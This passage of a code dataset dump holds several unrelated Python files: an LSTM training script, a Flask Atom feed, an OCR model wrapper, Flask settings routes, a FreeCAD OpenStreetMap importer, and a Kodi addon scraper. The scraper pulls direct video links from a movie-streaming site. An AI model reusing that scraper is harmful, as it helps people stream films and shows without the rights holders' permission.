batch_sampler=utils.BalancedSampler(\n dataset_trn, bch_trn, drop_last=False)))\n ldr_val = (\n torch.utils.data.DataLoader(\n utils.Dataset(fets, dat_val_in, dat_val_out), batch_size=bch_tst,\n shuffle=False, drop_last=False)\n if use_val else None)\n ldr_tst = torch.utils.data.DataLoader(\n utils.Dataset(\n fets, dat_tst_in, dat_tst_out, dat_tst_out_raw, dat_tst_out_oracle,\n num_flws_tst),\n batch_size=bch_tst, shuffle=False, drop_last=False)\n return ldr_trn, ldr_val, ldr_tst\n\n\ndef init_hidden(net, bch, dev):\n \"\"\"\n Initialize the hidden state. The hidden state is what gets built\n up over time as the LSTM processes a sequence. It is specific to a\n sequence, and is different than the network's weights. It needs to\n be reset for every new sequence.\n \"\"\"\n hidden = net.init_hidden(bch)\n hidden[0].to(dev)\n hidden[1].to(dev)\n return hidden\n\n\ndef inference(ins, labs, net_raw, dev,\n hidden=(torch.zeros(()), torch.zeros(())), los_fnc=None):\n \"\"\"\n Runs a single inference pass. Returns the output of net, or the\n loss if los_fnc is not None.\n \"\"\"\n # Move input and output data to the proper device.\n ins = ins.to(dev)\n labs = labs.to(dev)\n\n if isinstance(net_raw, models.Lstm):\n # LSTMs want the sequence length to be first and the batch\n # size to be second, so we need to flip the first and\n # second dimensions:\n # (batch size, sequence length, LSTM.in_dim) to\n # (sequence length, batch size, LSTM.in_dim)\n ins = ins.transpose(0, 1)\n # Reduce the labels to a 1D tensor.\n # TODO: Explain this better.\n labs = labs.transpose(0, 1).view(-1)\n # The forward pass.\n out, hidden = net_raw(ins, hidden)\n else:\n # The forward pass.\n out = net_raw(ins)\n if los_fnc is None:\n return out, hidden\n return los_fnc(out, labs), hidden\n\n\ndef train(net, num_epochs, ldr_trn, ldr_val, dev, ely_stp, val_pat_max, out_flp,\n val_imp_thresh, tim_out_s, opt_params):\n \"\"\" Trains a model. \"\"\"\n print(\"Training...\")\n los_fnc = net.los_fnc()\n opt = net.opt(net.net.parameters(), **opt_params)\n # If using early stopping, then this is the lowest validation loss\n # encountered so far.\n los_val_min = None\n # If using early stopping, then this tracks the *remaining* validation\n # patience (initially set to the maximum amount of patience). This is\n # decremented for every validation pass that does not improve the\n # validation loss by at least val_imp_thresh percent. When this reaches\n # zero, training aborts.\n val_pat = val_pat_max\n # The number of batches per epoch.\n num_bchs_trn = len(ldr_trn)\n # Print a lot statement every few batches.\n if LOGS_PER_EPC == 0:\n # Disable logging.\n bchs_per_log = sys.maxsize\n else:\n bchs_per_log = math.ceil(num_bchs_trn / LOGS_PER_EPC)\n # Perform a validation pass every few batches.\n assert not ely_stp or VALS_PER_EPC > 0, \\\n f\"Early stopping configured with erroneous VALS_PER_EPC: {VALS_PER_EPC}\"\n bchs_per_val = math.ceil(num_bchs_trn / VALS_PER_EPC)\n if ely_stp:\n print(f\"Will validate after every {bchs_per_val} batches.\")\n\n tim_srt_s = time.time()\n # Loop over the dataset multiple times...\n for epoch_idx in range(num_epochs):\n tim_del_s = time.time() - tim_srt_s\n if tim_out_s != 0 and tim_del_s > tim_out_s:\n print((f\"Training timed out after after {epoch_idx} epochs \"\n f\"({tim_del_s:.2f} seconds).\"))\n break\n\n # For each batch...\n for bch_idx_trn, (ins, labs) in enumerate(ldr_trn, 0):\n if bch_idx_trn % bchs_per_log == 0:\n print(f\"Epoch: {epoch_idx + 1:{f'0{len(str(num_epochs))}'}}/\"\n f\"{'?' if ely_stp else num_epochs}, batch: \"\n f\"{bch_idx_trn + 1:{f'0{len(str(num_bchs_trn))}'}}/\"\n f\"{num_bchs_trn}\", end=\" \")\n # Initialize the hidden state for every new sequence.\n hidden = init_hidden(net, bch=ins.size()[0], dev=dev)\n # Zero out the parameter gradients.\n opt.zero_grad()\n loss, hidden = inference(ins, labs, net.net, dev, hidden, los_fnc)\n # The backward pass.\n loss.backward()\n opt.step()\n if bch_idx_trn % bchs_per_log == 0:\n print(f\" Training loss: {loss:.5f}\")\n\n # Run on validation set, print statistics, and (maybe) checkpoint\n # every VAL_PER batches.\n if ely_stp and not bch_idx_trn % bchs_per_val:\n print(\" Validation pass:\")\n # For efficiency, convert the model to evaluation mode.\n net.net.eval()\n with torch.no_grad():\n los_val = 0\n for bch_idx_val, (ins_val, labs_val) in enumerate(ldr_val):\n print(\n \" Validation batch: \"\n f\"{bch_idx_val + 1}/{len(ldr_val)}\")\n # Initialize the hidden state for every new sequence.\n hidden = init_hidden(net, bch=ins.size()[0], dev=dev)\n los_val += inference(\n ins_val, labs_val, net.net, dev, hidden,\n los_fnc)[0].item()\n # Convert the model back to training mode.\n net.net.train()\n\n if los_val_min is None:\n los_val_min = los_val\n # Calculate the percent improvement in the validation loss.\n prc = (los_val_min - los_val) / los_val_min * 100\n print(f\" Validation error improvement: {prc:.2f}%\")\n\n # If the percent improvement in the validation loss is greater\n # than a small threshold, then take this as the new best version\n # of the model.\n if prc > val_imp_thresh:\n # This is the new best version of the model.\n los_val_min = los_val\n # Reset the validation patience.\n val_pat = val_pat_max\n # Save the new best version of the model. Convert the\n # model to Torch Script first.\n torch.jit.save(torch.jit.script(net.net), out_flp)\n else:\n val_pat -= 1\n if path.exists(out_flp):\n # Resume training from the best model.\n net.net = torch.jit.load(out_flp)\n net.net.to(dev)\n if val_pat <= 0:\n print(f\"Stopped after {epoch_idx + 1} epochs\")\n return net\n if not ely_stp:\n # Save the final version of the model. Convert the model to Torch Script\n # first.\n print(f\"Saving final model: {out_flp}\")\n torch.jit.save(torch.jit.script(net.net), out_flp)\n return net\n\n\ndef test(net, ldr_tst, dev):\n \"\"\" Tests a model. \"\"\"\n print(\"Testing...\")\n # The number of testing samples that were predicted correctly.\n num_correct = 0\n # Total testing samples.\n total = 0\n num_bchs_tst = len(ldr_tst)\n # For efficiency, convert the model to evaluation mode.\n net.net.eval()\n with torch.no_grad():\n for bch_idx, (ins, labs) in enumerate(ldr_tst):\n print(f\"Test batch: {bch_idx + 1:{f'0{len(str(num_bchs_tst))}'}}/\"\n f\"{num_bchs_tst}\")\n if isinstance(net, models.LstmWrapper):\n bch_tst, seq_len, _ = ins.size()\n else:\n bch_tst, _ = ins.size()\n seq_len = 1\n # Initialize the hidden state for every new sequence.\n hidden = init_hidden(net, bch=bch_tst, dev=dev)\n # Run inference. The first element of the output is the\n # number of correct predictions.\n num_correct += inference(\n ins, labs, net.net, dev, hidden, los_fnc=net.check_output)[0]\n total += bch_tst * seq_len\n # Convert the model back to training mode.\n net.net.train()\n acc_tst = num_correct / total\n print(f\"Test accuracy: {acc_tst * 100:.2f}%\")\n return acc_tst\n\n\ndef run_sklearn(args, dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws,\n out_dir, out_flp):\n \"\"\"\n Trains an sklearn model according to the supplied parameters. Returns the\n test error (lower is better).\n \"\"\"\n # Construct the model.\n print(\"Building model...\")\n net = models.MODELS[args[\"model\"]]()\n net.new(**{param: args[param] for param in net.params})\n # Split the data into training, validation, and test loaders.\n ldr_trn, _, ldr_tst = split_data(\n net, dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws,\n args[\"train_batch\"], args[\"test_batch\"])\n # Training.\n print(\"Training...\")\n tim_srt_s = time.time()\n net.train(*(ldr_trn.dataset.raw()[1:3]))\n tim_trn_s = time.time() - tim_srt_s\n print(f\"Finished training - time: {tim_trn_s:.2f} seconds\")\n del ldr_trn\n # Save the model.\n print(f\"Saving final model: {out_flp}\")\n with open(out_flp, \"wb\") as fil:\n pickle.dump(net.net, fil)\n # Testing.\n print(\"Testing...\")\n tim_srt_s = time.time()\n # Select the first return value, which is the overall accuracy.\n acc_tst = net.test(\n *ldr_tst.dataset.raw(),\n graph_prms={\n \"out_dir\": out_dir, \"sort_by_unfairness\": True, \"dur_s\": None})[0]\n print(f\"Finished testing - time: {time.time() - tim_srt_s:.2f} seconds\")\n del ldr_tst\n return acc_tst, tim_trn_s\n\n\ndef run_torch(args, dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws,\n out_dir, out_flp):\n \"\"\"\n Trains a PyTorch model according to the supplied parameters. Returns the\n test error (lower is better).\n \"\"\"\n # Instantiate and configure the network. Move it to the proper device.\n net = models.MODELS[args[\"model\"]]()\n net.new()\n num_gpus = torch.cuda.device_count()\n num_gpus_to_use = args[\"num_gpus\"]\n if num_gpus >= num_gpus_to_use > 1:\n net.net = torch.nn.DataParallel(net.net)\n dev = torch.device(\"cuda:0\" if num_gpus >= num_gpus_to_use > 0 else \"cpu\")\n net.net.to(dev)\n\n # Split the data into training, validation, and test loaders.\n ldr_trn, ldr_val, ldr_tst = split_data(\n net, dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws,\n args[\"train_batch\"], args[\"test_batch\"])\n\n # Explicitly move the training (and maybe validation) data to the target\n # device.\n ldr_trn.dataset.to(dev)\n ely_stp = args[\"early_stop\"]\n if ely_stp:\n ldr_val.dataset.to(dev)\n\n # Training.\n tim_srt_s = time.time()\n net = train(\n net, args[\"epochs\"], ldr_trn, ldr_val, dev, args[\"early_stop\"],\n args[\"val_patience\"], out_flp, args[\"val_improvement_thresh\"],\n args[\"timeout_s\"],\n opt_params={param: args[param] for param in net.params})\n tim_trn_s = time.time() - tim_srt_s\n print(f\"Finished training - time: {tim_trn_s:.2f} seconds\")\n\n # Explicitly delete the training and validation data so that they are\n # removed from the target device.\n del ldr_trn\n del ldr_val\n # This is necessary for the GPU memory to be released.\n torch.cuda.empty_cache()\n\n # Read the best version of the model from disk.\n net.net = torch.jit.load(out_flp)\n net.net.to(dev)\n\n # Testing.\n ldr_tst.dataset.to(dev)\n tim_srt_s = time.time()\n acc_tst = test(net, ldr_tst, dev)\n print(f\"Finished testing - time: {time.time() - tim_srt_s:.2f} seconds\")\n del ldr_tst\n torch.cuda.empty_cache()\n return acc_tst, tim_trn_s\n\n\ndef prepare_args(args_):\n \"\"\" Updates the default arguments with the specified values. \"\"\"\n # Initially, accept all default values. Then, override the defaults with\n # any manually-specified values. This allows the caller to specify values\n # only for parameters that they care about while ensuring that all\n # parameters have values.\n args = copy.copy(defaults.DEFAULTS)\n args.update(args_)\n return args\n\n\ndef run_trials(args):\n \"\"\"\n Run args[\"conf_trials\"] trials and survive args[\"max_attempts\"] failed\n attempts.\n \"\"\"\n print(f\"Arguments: {args}\")\n\n if args[\"no_rand\"]:\n utils.set_rand_seed()\n\n out_dir = args[\"out_dir\"]\n if not path.isdir(out_dir):\n print(f\"Output directory does not exist. Creating it: {out_dir}\")\n os.makedirs(out_dir)\n net_tmp = models.MODELS[args[\"model\"]]()\n # Verify that the necessary supplemental parameters are present.\n for param in net_tmp.params:\n assert param in args, f\"\\\"{param}\\\" not in args: {args}\"\n # Assemble the output filepath.\n out_flp = path.join(\n args[\"out_dir\"],\n (utils.args_to_str(args, order=sorted(defaults.DEFAULTS.keys()))\n ) + (\n # Determine the proper extension based on the type of\n # model.\n \".pickle\" if isinstance(net_tmp, models.SvmSklearnWrapper)\n else \".pth\"))\n # If custom features are specified, then overwrite the model's\n # default features.\n fets = args[\"features\"]\n if fets:\n net_tmp.in_spc = fets\n else:\n assert \"arrival time us\" not in args[\"features\"]\n args[\"features\"] = net_tmp.in_spc\n # If a trained model file already exists, then delete it.\n if path.exists(out_flp):\n os.remove(out_flp)\n\n # Load or geenrate training data.\n dat_flp = path.join(out_dir, \"data.npz\")\n scl_prms_flp = path.join(out_dir, \"scale_params.json\")\n # Check for the presence of both the data and the scaling\n # parameters because the resulting model is useless without the\n # proper scaling parameters.\n if (not args[\"regen_data\"] and path.exists(dat_flp) and\n path.exists(scl_prms_flp)):\n print(\"Found existing data!\")\n dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws = utils.load(\n dat_flp)\n dat_in_shape = dat_in.shape\n dat_out_shape = dat_out.shape\n assert dat_in_shape[0] == dat_out_shape[0], \\\n f\"Data has invalid shapes! in: {dat_in_shape}, out: {dat_out_shape}\"\n else:\n print(\"Regenerating data...\")\n dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws = (\n gen_data(net_tmp, args, dat_flp, scl_prms_flp))\n print(f\"Number of input features: {len(dat_in.dtype.names)}\")\n\n # Visualaize the ground truth data.\n utils.visualize_classes(net_tmp, dat_out)\n\n # TODO: Parallelize attempts.\n trls = args[\"conf_trials\"]\n apts = 0\n apts_max = args[\"max_attempts\"]\n ress = []\n while trls > 0 and apts < apts_max:\n apts += 1\n res = (\n run_sklearn\n if isinstance(net_tmp, models.SvmSklearnWrapper)\n else run_torch)(\n args, dat_in, dat_out, dat_out_raw, dat_out_oracle, num_flws,\n out_dir, out_flp)\n if res[0] == 100:\n print(\n (f\"Training failed (attempt {apts}/{apts_max}). Trying again!\"))\n else:\n ress.append(res)\n trls -= 1\n if ress:\n print((\"Resulting accuracies: \"\n f\"{', '.join([f'{acc:.2f}' for acc, _ in ress])}\"))\n max_acc, tim_s = max(ress, key=lambda p: p[0])\n print(f\"Maximum accuracy: {max_acc:.2f}\")\n # Return the minimum error instead of the maximum accuracy.\n return 1 - max_acc, tim_s\n print(f\"Model cannot be trained with args: {args}\")\n return float(\"NaN\"), float(\"NaN\")\n\n\ndef run_cnf(cnf, gate_func=None, post_func=None):\n \"\"\" Evaluate a single configuration. \"\"\"\n func = run_trials\n # Optionally decide whether to run a configuration.\n if gate_func is not None:\n func = functools.partial(gate_func, func=func)\n res = func(cnf)\n # Optionally process the output of each configuration.\n if post_func is not None:\n res = post_func(cnf, res)\n return res\n\n\ndef run_cnfs(cnfs, sync=False, gate_func=None, post_func=None):\n \"\"\"\n Evaluates many configurations. Assumes that the arguments have already been\n processed with prepare_args().\n \"\"\"\n num_cnfs = len(cnfs)\n print(f\"Training {num_cnfs} configurations.\")\n # The configurations themselves should execute synchronously if\n # and only if sync is False or the configuration is explicity\n # configured to run synchronously.\n cnfs = zip(\n [{**cnf,\n \"sync\": (not sync) or cnf.get(\"sync\", defaults.DEFAULTS[\"sync\"])}\n for cnf in cnfs],\n [gate_func,] * num_cnfs, [post_func,] * num_cnfs)\n\n if defaults.SYNC:\n res = [run_cnf(*cnf) for cnf in cnfs]\n else:\n with multiprocessing.Pool(processes=3) as pol:\n res = pol.starmap(run_cnf, cnfs)\n return res\n\n\ndef main():\n \"\"\" This program's entrypoint. \"\"\"\n # Parse command line arguments.\n psr = argparse.ArgumentParser(description=\"An LSTM training framework.\")\n psr.add_argument(\n \"--graph\", action=\"store_true\",\n help=(\"If the model is an sklearn model, then analyze and graph the \"\n \"testing results.\"))\n psr, psr_verify = cl_args.add_training(psr)\n args = vars(psr_verify(psr.parse_args()))\n # Verify that all arguments are reflected in defaults.DEFAULTS.\n for arg in args.keys():\n assert arg in defaults.DEFAULTS, \\\n f\"Argument {arg} missing from defaults.DEFAULTS!\"\n run_trials(prepare_args(args))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"model/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":35410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"649328058","text":"import sqlite3\nimport datetime\nfrom flask import Flask, request, render_template\nfrom werkzeug.contrib.atom import AtomFeed\n\nimport settings\n\napp = Flask(__name__)\n\n@app.route('/')\ndef hello():\n return render_template(\"index.html\")\n\n@app.route('/noticeboard.atom')\ndef recent_feed():\n feed = AtomFeed('Recent Notices',\n feed_url=request.url,\n url=request.url_root)\n conn = sqlite3.connect(settings.DATABASE)\n cursor = conn.cursor()\n cursor.execute(\n \"SELECT * FROM board ORDER BY time DESC LIMIT 20\"\n )\n posts = cursor.fetchall()\n conn.close()\n\n for post in posts:\n # post = [title, author, post_time, url]\n published = datetime.datetime.utcfromtimestamp(post[2])\n feed.add(unicode(post[0]), unicode(post[0]),\n url=post[3],\n author=post[1],\n updated=published,\n published=published)\n return feed.get_response()\n\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=5555, debug=settings.DEBUG)","sub_path":"run_server.py","file_name":"run_server.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"652969337","text":"# NEEDS FIXING\n\n# -*- coding: UTF-8 -*-\n#######################################################################\n # ----------------------------------------------------------------------------\n # \"THE BEER-WARE LICENSE\" (Revision 42):\n # @Daddy_Blamo wrote this file. As long as you retain this notice you\n # can do whatever you want with this stuff. If we meet some day, and you think\n # this stuff is worth it, you can buy me a beer in return. - Muad'Dib\n # ----------------------------------------------------------------------------\n#######################################################################\n\n# Addon Name: Placenta\n# Addon id: plugin.video.placenta\n# Addon Provider: Mr.Blamo\n\n\nimport re,urllib,urlparse,json,base64\n\nfrom resources.lib.modules import cleantitle\nfrom resources.lib.modules import client\nfrom resources.lib.modules import directstream\n\n\nclass source:\n def __init__(self):\n self.priority = 1\n self.language = ['en']\n self.domains = ['tunemovie.net']\n self.base_link = 'http://tunemovie.net/'\n self.search_link = '/?type=movie&s=%s'\n\n\n def movie(self, imdb, title, localtitle, aliases, year):\n try:\n query = urlparse.urljoin(self.base_link, self.search_link)\n query = query % urllib.quote_plus(title)\n\n t = cleantitle.get(title)\n\n r = client.request(query)\n\n r = client.parseDOM(r, 'div', attrs = {'class': 'thumb'})\n r = [(client.parseDOM(i, 'a', ret='href'), client.parseDOM(i, 'a', ret='title'), re.findall('(\\d{4})', i)) for i in r]\n r = [(i[0][0], i[1][0], i[2][0]) for i in r if len(i[0]) > 0 and len(i[1]) > 0 and len(i[2]) > 0]\n\n url = [i[0] for i in r if t in cleantitle.get(i[1]) and year == i[2]][0]\n return url\n except:\n return\n\n\n def tvshow(self, imdb, tvdb, tvshowtitle, localtvshowtitle, aliases, year):\n try:\n url = {'imdb': imdb, 'tvdb': tvdb, 'tvshowtitle': tvshowtitle, 'year': year}\n url = urllib.urlencode(url)\n return url\n except:\n return\n\n def episode(self, url, imdb, tvdb, title, premiered, season, episode):\n try:\n data = urlparse.parse_qs(url)\n data = dict([(i, data[i][0]) if data[i] else (i, '') for i in data])\n\n query = urlparse.urljoin(self.base_link, self.search_link)\n query = query % urllib.quote_plus(data['tvshowtitle'])\n\n t = cleantitle.get(data['tvshowtitle'])\n\n r = client.request(query)\n\n r = client.parseDOM(r, 'div', attrs = {'class': 'thumb'})\n r = [(client.parseDOM(i, 'a', ret='href'), client.parseDOM(i, 'a', ret='title'), re.findall('(\\d{4})', i)) for i in r]\n r = [(i[0][0], i[1][0], i[2][0]) for i in r if len(i[0]) > 0 and len(i[1]) > 0 and len(i[2]) > 0]\n\n url = [i[0] for i in r if t in cleantitle.get(i[1]) and ('Season %s' % season) in i[1]][0]\n url += '?episode=%01d' % int(episode)\n\n return url\n except:\n return\n\n\n def sources(self, url, hostDict, hostprDict):\n try:\n sources = []\n\n if url == None: return sources\n\n url = urlparse.urljoin(self.base_link, url)\n\n try:\n url, episode = re.findall('(.+?)\\?episode=(\\d*)$', url)[0]\n except:\n episode = None\n\n ref = url\n\n for i in range(3):\n result = client.request(url)\n if not result == None: break\n\n if not episode == None:\n result = client.parseDOM(result, 'div', attrs = {'id': 'ip_episode'})[0]\n ep_url = client.parseDOM(result, 'a', attrs = {'data-name': str(episode)}, ret='href')[0]\n for i in range(3):\n result = client.request(ep_url)\n if not result == None: break\n\n r = client.parseDOM(result, 'div', attrs = {'class': '[^\"]*server_line[^\"]*'})\n\n for u in r:\n try:\n url = urlparse.urljoin(self.base_link, '/ip.file/swf/plugins/ipplugins.php')\n p1 = client.parseDOM(u, 'a', ret='data-film')[0]\n p2 = client.parseDOM(u, 'a', ret='data-server')[0]\n p3 = client.parseDOM(u, 'a', ret='data-name')[0]\n post = {'ipplugins': 1, 'ip_film': p1, 'ip_server': p2, 'ip_name': p3}\n post = urllib.urlencode(post)\n for i in range(3):\n result = client.request(url, post=post, XHR=True, referer=ref, timeout='10')\n if not result == None: break\n\n result = json.loads(result)\n u = result['s']\n s = result['v']\n\n url = urlparse.urljoin(self.base_link, '/ip.file/swf/ipplayer/ipplayer.php')\n\n for n in range(3):\n try:\n post = {'u': u, 'w': '100%', 'h': '420', 's': s, 'n': n}\n post = urllib.urlencode(post)\n result = client.request(url, post=post, XHR=True, referer=ref)\n src = json.loads(result)['data']\n\n if type(src) is list:\n src = [i['files'] for i in src]\n for i in src:\n try:\n sources.append({'source': 'gvideo', 'quality': directstream.googletag(i)[0]['quality'], 'language': 'en', 'url': i, 'direct': True, 'debridonly': False})\n except:\n pass\n else:\n src = client.request(src)\n src = client.parseDOM(src, 'source', ret='src', attrs = {'type': 'video.+?'})[0]\n src += '|%s' % urllib.urlencode({'User-agent': client.randomagent()})\n sources.append({'source': 'cdn', 'quality': 'HD', 'language': 'en', 'url': src, 'direct': False, 'debridonly': False})\n except:\n pass\n except:\n pass\n\n return sources\n except:\n return sources\n\n\n def resolve(self, url):\n return directstream.googlepass(url)\n\n\n","sub_path":"lib/lambdascrapers/sources_placenta/en_placenta-1.7.8/to_be_fixed/needsfixing/tunemovie.py","file_name":"tunemovie.py","file_ext":"py","file_size_in_byte":6499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"188561537","text":"# coding:UTF-8\nimport torch\nimport yaml\nimport config\nimport numpy as np\nfrom . import keys, crann\nfrom evals.src.basemodel.basemodel import BaseModel\nfrom .quadObject import quadObject\nfrom .opImage import genRotateAroundMatrix, rotateImageByMatrix\nimport base64\nimport cv2\nimport json\nimport logging\n\nSAVEIMG = False\n\n\nclass CrannRecModel(BaseModel):\n\n def __init__(self, modelpath, config_yaml):\n super(CrannRecModel, self).__init__()\n self.alphabet = keys.alphabet\n f = open(config_yaml)\n opt = yaml.load(f)\n opt['N_GPU'] = 1\n opt['RNN']['multi_gpu'] = False\n # print(opt)\n self.model = crann.CRANN(opt, len(self.alphabet) + 1)\n if (config.USE_GPU):\n self.model.cuda()\n # self.model.half()\n self.num = 0\n self.model.load_state_dict(torch.load(modelpath)['state_dict'])\n if (config.USE_GPU):\n self.model.half()\n\n def cutimagezz(self, img, bboxes):\n showimg = img.copy()\n imglist = []\n for box in bboxes:\n box = np.array(box, dtype=np.int32)\n\n L = np.min(box[:, 0])\n T = np.min(box[:, 1])\n R = np.max(box[:, 0])\n B = np.max(box[:, 1])\n if R <= L or B <= T:\n part_img = np.ones((32, 32, 3), dtype=np.uint8) * 255\n else:\n part_img = showimg[T:B, L:R, :]\n # if SAVEIMG:\n # cv2.imwrite('./disp/'+str(self.num)+'.jpg',part_img)\n # self.num+=1\n\n imglist.append(255 - cv2.cvtColor(part_img, cv2.COLOR_BGR2GRAY))\n # cv2.imwrite('img.jpg',showimg)\n return imglist","sub_path":"ataraxia/inference/ocr/recognition/terror/python/src/crnn/crannrec.py","file_name":"crannrec.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"549580961","text":"from flask import Blueprint\nfrom .profile import ProfileSettingsView\nfrom .account import AccountView\nfrom .email import EmailView\nfrom .origin_oj import (\n OriginOJView,\n PojView,\n HduView,\n SdutView,\n FzuView\n)\n\nbp_settings = Blueprint('settings', __name__)\n\nbp_settings.add_url_rule(\n '/profile',\n endpoint='profile',\n view_func=ProfileSettingsView.as_view('profile'),\n methods=['get', 'post']\n)\n\nbp_settings.add_url_rule(\n '/account',\n endpoint='account',\n view_func=AccountView.as_view('account'),\n methods=['get', 'post']\n)\n\nbp_settings.add_url_rule(\n '/email',\n endpoint='email',\n view_func=EmailView.as_view('email'),\n methods=['get', 'post']\n)\n\nbp_settings.add_url_rule(\n '/origin_oj',\n endpoint='origin_oj',\n view_func=OriginOJView.as_view('origin_oj'),\n methods=['get', 'post']\n)\n\nbp_settings.add_url_rule(\n '/origin_oj/poj',\n endpoint='poj',\n view_func=PojView.as_view('poj'),\n methods=['get', 'post']\n)\n\nbp_settings.add_url_rule(\n '/origin_oj/hdu',\n endpoint='hdu',\n view_func=HduView.as_view('hdu'),\n methods=['get', 'post']\n)\n\nbp_settings.add_url_rule(\n '/origin_oj/sdut',\n endpoint='sdut',\n view_func=SdutView.as_view('sdut'),\n methods=['get', 'post']\n)\n\nbp_settings.add_url_rule(\n '/origin_oj/fzu',\n endpoint='fzu',\n view_func=FzuView.as_view('fzu'),\n methods=['get', 'post']\n)\n","sub_path":"VJ/views/settings/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"453591526","text":"# Import Open Street Map\n\n# **************************************************************************\n# * *\n# * Copyright (c) 2016 microelly <> *\n# * Copyright (c) 2020 Bernd Hahnebach 2020\n# --\n# -- GNU Lesser General Public License (LGPL)\n# -------------------------------------------------\n\"\"\"gui for import data from openstreetmap\"\"\"\n\n\nimport WebGui\nfrom PySide import QtGui\n\n# import FreeCAD\n# import FreeCADGui\n\nfrom freecad.trails.geomatics.geoimport import miki\nfrom freecad.trails.geomatics.geoimport.import_osm import import_osm2\nfrom freecad.trails.geomatics.geoimport.say import say\n\n\n# the gui backend\nclass MyApp(object):\n \"\"\"execution layer of the Gui\"\"\"\n\n def import_osm(self, lat, lon, bk, progressbar, status, elevation):\n \"\"\"\n import the osm data by the use of import_osm module\n \"\"\"\n has_finished = import_osm2(\n lat,\n lon,\n bk,\n progressbar,\n status,\n elevation\n )\n return has_finished\n\n def run(self, lat, lon):\n \"\"\"\n run(self,lat,lon) imports area\n with center coordinates latitude lat, longitude lon\n \"\"\"\n s = self.root.ids[\"s\"].value()\n key = \"%0.7f\" % (lat) + \",\" + \"%0.7f\" % (lon)\n self.root.ids[\"bl\"].setText(key)\n self.import_osm(\n lat,\n lon,\n float(s)/10,\n self.root.ids[\"progb\"],\n self.root.ids[\"status\"],\n False\n )\n\n def run_alex(self):\n \"\"\"imports Berlin Aleancderplatz\"\"\"\n self.run(52.52128, lon=13.41646)\n\n def run_paris(self):\n \"\"\"imports Paris\"\"\"\n self.run(48.85167, 2.33669)\n\n def run_tokyo(self):\n \"\"\"imports Tokyo near tower\"\"\"\n self.run(35.65905, 139.74991)\n\n def run_spandau(self):\n \"\"\"imports Berlin Spandau\"\"\"\n self.run(52.508, 13.18)\n\n def run_co2(self):\n \"\"\"imports Coburg University and School\"\"\"\n self.run(50.2631171, 10.9483)\n\n def run_sternwarte(self):\n \"\"\"imports Sonneberg Neufang observatorium\"\"\"\n self.run(50.3736049, 11.191643)\n\n def showHelpBox(self):\n\n msg = QtGui.QMessageBox()\n msg.setText(\"Help\")\n msg.setInformativeText(\n \"Import_osm map dialogue box can also accept links \"\n \"from following sites in addition to \"\n \"(latitude, longitude)
    • OpenStreetMap

    • \"\n \"e.g. https://www.openstreetmap.org/#map=15/30.8611/75.8610
    • Google Maps

    • \"\n \"e.g. https://www.google.co.in/maps/@30.8611,75.8610,5z
    • Bing Map

    • \"\n \"e.g. https://www.bing.com/maps?osid=339f4dc6-92ea-4f25-b25c-f98d8ef9bc45&cp=30.8611~75.8610&lvl=17&v=2&sV=2&form=S00027
    • Here Map

    • \"\n \"e.g. https://wego.here.com/?map=30.8611,75.8610,15,normal
    • (latitude,longitude)

    • \"\n \"e.g. 30.8611,75.8610

    \"\n \"If in any case, the latitude & longitudes are estimated incorrectly, \"\n \"you can use different separators in separator box \"\n \"or can put latitude & longitude directly into their respective boxes.\"\n )\n msg.exec_()\n\n def showHelpBoxY(self):\n # self.run_sternwarte()\n say(\"showHelpBox called\")\n\n def getSeparator(self):\n bl = self.root.ids[\"bl\"].text()\n if bl.find(\"openstreetmap.org\") != -1:\n self.root.ids[\"sep\"].setText(\"/\")\n elif bl.find(\"google.co\") != -1:\n self.root.ids[\"sep\"].setText(\"@|,\")\n elif bl.find(\"bing.com\") != -1:\n self.root.ids[\"sep\"].setText(\"=|~|&\")\n elif bl.find(\"wego.here.com\") != -1:\n self.root.ids[\"sep\"].setText(\"=|,\")\n elif bl.find(\",\") != -1:\n self.root.ids[\"sep\"].setText(\",\")\n elif bl.find(\":\") != -1:\n self.root.ids[\"sep\"].setText(\":\")\n elif bl.find(\"/\") != -1:\n self.root.ids[\"sep\"].setText(\"/\")\n\n def getCoordinate(self):\n sep = self.root.ids[\"sep\"].text()\n bl = self.root.ids[\"bl\"].text()\n import re\n spli = re.split(sep, bl)\n init_flag = \"0\"\n flag = init_flag\n for x in spli:\n try:\n float(x)\n if x.find(\".\") != -1:\n if flag == \"0\":\n self.root.ids[\"lat\"].setText(x)\n flag = \"1\"\n elif flag == \"1\":\n self.root.ids[\"long\"].setText(x)\n flag = \"2\"\n except Exception:\n flag = init_flag\n\n def swap(self):\n tmp1 = self.root.ids[\"lat\"].text()\n tmp2 = self.root.ids[\"long\"].text()\n self.root.ids[\"long\"].setText(tmp1)\n self.root.ids[\"lat\"].setText(tmp2)\n\n def downloadData(self):\n \"\"\"download data from osm\"\"\"\n button = self.root.ids[\"runbl1\"]\n button.hide()\n br = self.root.ids[\"running\"]\n br.show()\n\n bl_disp = self.root.ids[\"lat\"].text()\n lat = float(bl_disp)\n bl_disp = self.root.ids[\"long\"].text()\n lon = float(bl_disp)\n\n s = self.root.ids[\"s\"].value()\n elevation = self.root.ids[\"elevation\"].isChecked()\n\n rc = self.import_osm(\n float(lat),\n float(lon),\n float(s)/10,\n self.root.ids[\"progb\"],\n self.root.ids[\"status\"],\n elevation\n )\n if not rc:\n button = self.root.ids[\"runbl2\"]\n button.show()\n else:\n button = self.root.ids[\"runbl1\"]\n button.show()\n br.hide()\n\n def applyData(self):\n \"\"\"apply downloaded or cached data to create the FreeCAD models\"\"\"\n button = self.root.ids[\"runbl2\"]\n button.hide()\n br = self.root.ids[\"running\"]\n br.show()\n\n bl_disp = 